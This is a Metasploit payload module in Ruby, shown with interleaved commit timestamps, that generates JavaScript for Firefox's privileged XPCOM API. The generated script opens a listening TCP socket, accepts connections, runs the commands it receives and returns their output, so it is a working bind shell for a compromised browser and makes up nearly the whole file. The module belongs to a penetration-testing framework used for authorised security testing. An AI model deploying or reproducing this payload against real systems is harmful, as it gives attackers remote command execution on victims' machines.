2014-01-02 08:09:16 +00:00
|
|
|
##
|
2014-10-17 16:47:33 +00:00
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
2014-01-02 08:09:16 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'msf/core/handler/bind_tcp'
|
|
|
|
require 'msf/base/sessions/command_shell'
|
2014-06-06 21:26:45 +00:00
|
|
|
require 'msf/base/sessions/command_shell_options'
|
2014-01-02 08:09:16 +00:00
|
|
|
|
|
|
|
module Metasploit3
|
|
|
|
|
|
|
|
include Msf::Payload::Single
|
2014-01-02 08:20:54 +00:00
|
|
|
include Msf::Payload::Firefox
|
2014-01-02 08:09:16 +00:00
|
|
|
include Msf::Sessions::CommandShellOptions
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(merge_info(info,
|
|
|
|
'Name' => 'Command Shell, Bind TCP (via Firefox XPCOM script)',
|
2014-01-13 19:57:34 +00:00
|
|
|
'Description' => %q{Creates an interactive shell via Javascript with access to Firefox's XPCOM API},
|
2014-01-02 08:09:16 +00:00
|
|
|
'Author' => ['joev'],
|
|
|
|
'License' => BSD_LICENSE,
|
|
|
|
'Platform' => 'firefox',
|
|
|
|
'Arch' => ARCH_FIREFOX,
|
|
|
|
'Handler' => Msf::Handler::BindTcp,
|
|
|
|
'Session' => Msf::Sessions::CommandShell,
|
2014-05-21 20:32:29 +00:00
|
|
|
'PayloadType' => 'firefox'
|
2014-01-02 08:09:16 +00:00
|
|
|
))
|
|
|
|
end
|
|
|
|
|
|
|
|
#
|
|
|
|
# Returns the JS string to use for execution
|
|
|
|
#
|
2014-05-21 20:32:29 +00:00
|
|
|
def generate
|
2014-01-02 08:09:16 +00:00
|
|
|
%Q|
|
|
|
|
(function(){
|
2014-09-24 21:05:00 +00:00
|
|
|
window = this;
|
2014-01-02 08:09:16 +00:00
|
|
|
Components.utils.import("resource://gre/modules/NetUtil.jsm");
|
|
|
|
var lport = #{datastore["LPORT"]};
|
|
|
|
var rhost = "#{datastore['RHOST']}";
|
|
|
|
var serverSocket = Components.classes["@mozilla.org/network/server-socket;1"]
|
|
|
|
.createInstance(Components.interfaces.nsIServerSocket);
|
|
|
|
serverSocket.init(lport, false, -1);
|
|
|
|
|
|
|
|
var listener = {
|
|
|
|
onSocketAccepted: function(serverSocket, clientSocket) {
|
|
|
|
var outStream = clientSocket.openOutputStream(0, 0, 0);
|
|
|
|
var inStream = clientSocket.openInputStream(0, 0, 0);
|
|
|
|
var pump = Components.classes["@mozilla.org/network/input-stream-pump;1"]
|
|
|
|
.createInstance(Components.interfaces.nsIInputStreamPump);
|
|
|
|
pump.init(inStream, -1, -1, 0, 0, true);
|
|
|
|
pump.asyncRead(clientListener(outStream), null);
|
|
|
|
}
|
|
|
|
};
|
|
|
|
|
2014-05-21 20:32:29 +00:00
|
|
|
#{read_until_token_source}
|
|
|
|
|
2014-01-02 08:09:16 +00:00
|
|
|
var clientListener = function(outStream) {
|
|
|
|
return {
|
|
|
|
onStartRequest: function(request, context) {},
|
|
|
|
onStopRequest: function(request, context) {},
|
2014-05-21 20:32:29 +00:00
|
|
|
onDataAvailable: readUntilToken(function(data) {
|
2014-01-07 22:17:34 +00:00
|
|
|
runCmd(data, function(err, output) {
|
|
|
|
if(!err) outStream.write(output, output.length);
|
2014-01-04 14:49:43 +00:00
|
|
|
});
|
2014-05-21 20:32:29 +00:00
|
|
|
})
|
2014-01-02 08:09:16 +00:00
|
|
|
};
|
|
|
|
};
|
|
|
|
|
2014-01-02 08:20:54 +00:00
|
|
|
#{run_cmd_source}
|
2014-01-02 08:09:16 +00:00
|
|
|
|
|
|
|
serverSocket.asyncListen(listener);
|
|
|
|
})();
|
|
|
|
|
|
|
|
|
end
|
|
|
|
end
|